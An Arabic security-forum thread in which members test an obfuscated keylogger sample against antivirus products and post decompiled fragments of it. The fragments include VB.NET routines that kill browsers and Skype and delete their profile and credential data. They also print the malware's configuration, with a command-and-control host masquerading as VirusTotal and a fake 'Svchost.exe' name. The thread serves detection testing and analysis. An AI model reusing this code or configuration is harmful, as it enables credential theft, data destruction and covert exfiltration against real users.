تشفيرة تشفيره جديده ( KeyLogger ) بتاريخ 5/9/2015

[التميمي14]

وعليكم السلام ورحمة الله اخي محمد مع الاسف الصور لا تبدو عندي من خلال المتصفح اما النورتن فبرنامج رائع يملك شخصية وبصمة تميزه عما سواه كما يذكري ملف الاخ مصطفى بالاخ الغائب الحاضر في ضمير زيزووم الاخ يونس اعني يملك مصطفى نفس روحية وآلية التفكير البرمجي او المنطق البرمجي عند يونس بينما اعذر د.ويب لانتفاء وجود محلل استباقي من ضمن مستوياته الامنية ولكم وحشة اخي محمد

اهلا اخي سامر
حياك الله وبياك والقلوب شواهد والقلوب عند بعضها البعض

استغرب عدم ظهور الصوره وهي تعليقك الكريم في موقع فايروس توتال

بالنسبة للنورتن فعلا عاد وله كريزما خاصه وحماية جباره رغم ضعف المحرك بعض الشي


لكن السونار يقوم بالواجب

تحياتي لك

 

[prooonet]

اين توجد خاصية الدفع الامن على المتصفح

اخي اليوناني انا الان ذاهب للعمل وان شاء الله اذا وصلت راح ارد بعد ساعة ممكن

 

[اليوناني]

اخي اليوناني انا الان ذاهب للعمل وان شاء الله اذا وصلت راح ارد بعد ساعة ممكن

 

[Ahmed_Albosife]

السلام عليكم
-----
قمت ببعض التحليلات للكيلوجر
يرصد العمليات التالية
Dim process As Process
For Each process In Process.GetProcessesByName("Firefox")
process.CloseMainWindow
Next
Thread.Sleep(&H7D0)
W.appdata = (Environment.GetFolderPath(SpecialFolder.ApplicationData) & "\Mozilla\Firefox\Profiles")
W.DeleteDirectory(W.appdata)
W.C.Send(("D2" & W.Y & "1"))
-----------------
For Each process In Process.GetProcessesByName("chrome")
process.CloseMainWindow
Next
Thread.Sleep(&H7D0)
W.appdata = (Environment.GetFolderPath(SpecialFolder.LocalApplicationData) & "\Google\Chrome\User Data\Default\")
File.Delete((W.appdata & "Web Data"))
W.C.Send(("D1" & W.Y & "1"))
--------------------
For Each process In Process.GetProcessesByName("Opera")
process.CloseMainWindow
Next
Thread.Sleep(&HBB8)
W.appdata = (Environment.GetFolderPath(SpecialFolder.ApplicationData) & "\Opera\Opera")
W.DeleteDirectory(W.appdata)
W.C.Send(("D4" & W.Y & "1"))
----------------
For Each process In Process.GetProcessesByName("Skype")
process.Kill
Next
Thread.Sleep(&HBB8)
W.appdata = (Environment.GetFolderPath(SpecialFolder.ApplicationData) & "\Skype")
W.DeleteDirectory(W.appdata)
W.C.Send(("D3" & W.Y & "1"))
----------------------

 

[MagicianMiDo32]

السلام عليكم
-----
قمت ببعض التحليلات للكيلوجر
يرصد العمليات التالية
Dim process As Process
For Each process In Process.GetProcessesByName("Firefox")
process.CloseMainWindow
Next
Thread.Sleep(&H7D0)
W.appdata = (Environment.GetFolderPath(SpecialFolder.ApplicationData) & "\Mozilla\Firefox\Profiles")
W.DeleteDirectory(W.appdata)
W.C.Send(("D2" & W.Y & "1"))
-----------------
For Each process In Process.GetProcessesByName("chrome")
process.CloseMainWindow
Next
Thread.Sleep(&H7D0)
W.appdata = (Environment.GetFolderPath(SpecialFolder.LocalApplicationData) & "\Google\Chrome\User Data\Default\")
File.Delete((W.appdata & "Web Data"))
W.C.Send(("D1" & W.Y & "1"))
--------------------
For Each process In Process.GetProcessesByName("Opera")
process.CloseMainWindow
Next
Thread.Sleep(&HBB8)
W.appdata = (Environment.GetFolderPath(SpecialFolder.ApplicationData) & "\Opera\Opera")
W.DeleteDirectory(W.appdata)
W.C.Send(("D4" & W.Y & "1"))
----------------
For Each process In Process.GetProcessesByName("Skype")
process.Kill
Next
Thread.Sleep(&HBB8)
W.appdata = (Environment.GetFolderPath(SpecialFolder.ApplicationData) & "\Skype")
W.DeleteDirectory(W.appdata)
W.C.Send(("D3" & W.Y & "1"))
----------------------

أتقتل سكاي بي يا بلاك
يا ياجدع هو الراجل عملك حاجة
ههههه
ولا علشان ممكن يكون حد بيتكلم عليه وهو بيجرب يقوم يبعت الكلام

 

[MagicianMiDo32]

بالتشغيل يعترضه حاجب السلوك

ثم الجدار الناري



[hide]

[/hide]




قمت بالسماح له


هل ظهرت عندك أخي بلاك


Mido

 

[MagicianMiDo32]

أسم الحماية
ندى


هههههههههههههههههههههههههه

 

[MagicianMiDo32]

أيه دا يا صاحبي

[hide]

Shared Sub New()
W.actv = ""
W.C = New TCP
W.exe = "Svchost.exe"
W.F = New Computer
W.h = "virustotal.servehttp.com"
W.inst = "False"
W.Name = "Victim"
W.path = "Temp"
W.port = "80"
W.pro = "False"
W.run = False
W.run1 = False
W.Y = "/B|L\"
End Sub

[/hide]​

 

[black007]

بالتشغيل يعترضه حاجب السلوك




مشاهدة المرفق 96920




ثم الجدار الناري



[hide]مشاهدة المرفق 96921[/hide]




قمت بالسماح له


هل ظهرت عندك أخي بلاك


Mido

يعنى انت بتجرب بعد لمه انا مشيت

ماشى ياعم ميدو معوضه لك المره القاديمه

أسم الحماية
ندى


هههههههههههههههههههههههههه

على فكره nada انه ملقاش حاجه مش اسم الحمايه

 

[MagicianMiDo32]

تمام كدة

[hide]

[/hide]


هجرب أشتغل ع الحماية بقى من غير دمب

 

[black007]

أيه دا يا صاحبي

[hide]

Shared Sub New()
W.actv = ""
W.C = New TCP
W.exe = "Svchost.exe"
W.F = New Computer
W.h = "virustotal.servehttp.com"
W.inst = "False"
W.Name = "Victim"
W.path = "Temp"
W.port = "80"
W.pro = "False"
W.run = False
W.run1 = False
W.Y = "/B|L\"
End Sub

[/hide]​

ايه الحلاوه دى ميت فله عليك

على فكره انا اتعمدت ملعبش فيها واسبها زى مهم من غير تشفير

 

[MagicianMiDo32]

يعنى انت بتجرب بعد لمه انا مشيت

ماشى ياعم ميدو معوضه لك المره القاديمه



على فكره nada انه ملقاش حاجه مش اسم الحمايه

هههههههههههههههه

 

[MagicianMiDo32]

EazFuscator

 

[MagicianMiDo32]

يا ساتر يارب


Crypto obfuscator

مرة واحدة

 

[toufik8]

الأفيرا منعه من فتح اي شيء

 

[black007]

EazFuscator

يا ساتر يارب


Crypto obfuscator

مرة واحدة

عجباك الحمايه اوى كده

القادم احلى

ورينا همتك يا بطل

 

[prooonet]

اين توجد خاصية الدفع الامن على المتصفح

وجاري تجربة eset بالافتراضي و keyscrambler

 

[اليوناني]

وجاري تجربة eset بالافتراضي و keyscrambler

شكرا لك يا غالي

 

[prooonet]

شكرا لك يا غالي

لاشكر على واجب

 

[prooonet]

تم تجربة الملف على eset بالافتراضي وبوجود keyscrambler
وتم كتابة المطلوب اضافة ارقام اخرى هل وصل شيئ اخي مصطفى ؟